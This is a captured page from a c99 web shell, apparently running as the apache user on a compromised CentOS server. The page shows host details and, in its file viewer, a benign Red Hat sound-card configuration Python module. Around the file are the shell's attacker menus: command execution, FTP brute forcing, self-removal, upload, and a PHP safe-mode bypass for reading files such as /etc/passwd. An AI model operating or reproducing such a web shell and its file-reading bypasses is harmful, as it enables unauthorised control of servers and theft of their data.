!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/system-config-soundcard/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     soundcardBackendHal.py (6.07 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
## soundcardBackendKudzu.py - Contains the backend code needed for system-config-soundcard
## Copyright (C) 2002, 2003 Red Hat, Inc.
## Copyright (C) 2002, 2003 Brent Fox <bfox@redhat.com>
## Copyright (C) 2004, 2005 Bastien Nocera <hadess@hadess.net>

## Based on code by Dan Williams <dcbw@redhat.com>

## This program is free software; you can redistribute it and/or modify
## it under the terms of the GNU General Public License as published by
## the Free Software Foundation; either version 2 of the License, or
## (at your option) any later version.

## This program is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
## GNU General Public License for more details.

## You should have received a copy of the GNU General Public License
## along with this program; if not, write to the Free Software
## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.


import string
import os
import sys
import dbus

##
## I18N
## 
from rhpl.translate import _, N_
import rhpl.translate as translate
translate.textdomain ("system-config-soundcard")

HAL_DEVICE_IFACE = "org.freedesktop.Hal.Device"
ALLOWED_TYPE = "playback"

import soundcardBackendSoundCard

class soundcardBackendHal:
    def __init__(self):
    
        self.doDebug = True

        self._dbusBus = dbus.SystemBus()
        self.halManagerObj = self._dbusBus.get_object("org.freedesktop.Hal", "/org/freedesktop/Hal/Manager")
        self.halManager = dbus.Interface(self.halManagerObj, "org.freedesktop.Hal.Manager")
        
        self.driverList = self.read_driver_list()
                
        self.cards = {}

    def destroy(self, args):
        return

    # ------------------------------------------------------------------------
    # Probe routines - drivers
    # ------------------------------------------------------------------------
    def read_driver_list(self):
        try:
            fd = open('/proc/asound/modules', 'r')
            list = fd.readlines()
            fd.close()
        except:
            return []

        drivers = []
        for line in list:
            tmp = line.split()
            drivers.append([int(tmp[0]), string.replace(tmp[1],'_','-')])
    
        return drivers

    def find_driver(self, list, position):
        for rec in list:
            if rec[0] == position:
                return rec[1]

        return _("Unknown")

    # ------------------------------------------------------------------------
    # Probe routines - HAL
    # ------------------------------------------------------------------------

    def getProperty(self, obj, prop):
        if not obj.PropertyExists(prop, dbus_interface=HAL_DEVICE_IFACE):
            return None
        return obj.GetProperty(prop, dbus_interface=HAL_DEVICE_IFACE)

    def getVendor(self, udi):
        parentUdi = udi
        while parentUdi and len(parentUdi):
            obj = self._dbusBus.get_object("org.freedesktop.Hal", parentUdi)
            
            vendor = self.getProperty(obj, "info.vendor")
            if vendor != None:
                return vendor, self.getProperty(obj, "info.product")
                
            new_parentUdi = self.getProperty(obj, "info.parent")
            if new_parentUdi == None:
                break
            parentUdi = new_parentUdi
        
    def getBus(self, udi):
        parentUdi = udi
        while parentUdi and len(parentUdi):
            obj = self._dbusBus.get_object("org.freedesktop.Hal", parentUdi)
            
            bus = self.getProperty(obj, "info.bus")
            if bus != None:
                return bus
                
            new_parentUdi = self.getProperty(obj, "info.parent")
            if new_parentUdi == None:
                break
            parentUdi = new_parentUdi

    def getDriver(self, udi):
        parentUdi = udi
        while parentUdi and len(parentUdi):
            obj = self._dbusBus.get_object("org.freedesktop.Hal", parentUdi)
            
            driver = self.getProperty(obj, "info.linux.driver")
            if driver != None:
                return driver
                
            new_parentUdi = self.getProperty(obj, "info.parent")
            if new_parentUdi == None:
                break
            parentUdi = new_parentUdi

    def getDevices(self, udi):
        # Search for other devices
        #children = self.halManager.FindDeviceStringMatch("info.parent", udi)
        #for childUdi in children:
        #    self.getChildDevices(childUdi)
    
        # Add ourselves if we're an alsa device
        obj = self._dbusBus.get_object("org.freedesktop.Hal", udi)
        category = self.getProperty(obj, "info.category")
        
        if category == "alsa" and self.getProperty(obj, "alsa.type") == ALLOWED_TYPE:
            index = self.getProperty(obj, "alsa.card")
            if index != None and not self.cards.has_key(index):
                card = soundcardBackendSoundCard.soundCard(index)
                card.active = True                
                card.maker, card.model = self.getVendor(udi)
                card.type = string.split(card.maker)[0]
                card.bus = self.getBus(udi)
                card.driver = self.find_driver(self.driverList, card.index)
                #card.driver = self.getDriver(udi)
                card.device_list = card.loadCardDevices()
                self.cards[index] = card

    # TODO?
    # Only add USB audio devices that have snd-usb-audio as the driver
    #if card.bus() == "usb" and card.driver() != "snd-usb-audio":
    #    continue
    # Same with Mac sound devices
    #if card.bus() == "macio" and card.driver() != "snd-powermac":
    def probeCards(self, default_card, default_device, card_list, card_max):

        udiList = self.halManager.FindDeviceByCapability("alsa")        
        for udi in udiList:
            self.getDevices(udi)
        
        for index in self.cards:
            if index < card_max :
                card_list[index] = self.cards[index]
                
        card_list[default_card].default_device = default_device

        return card_list

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--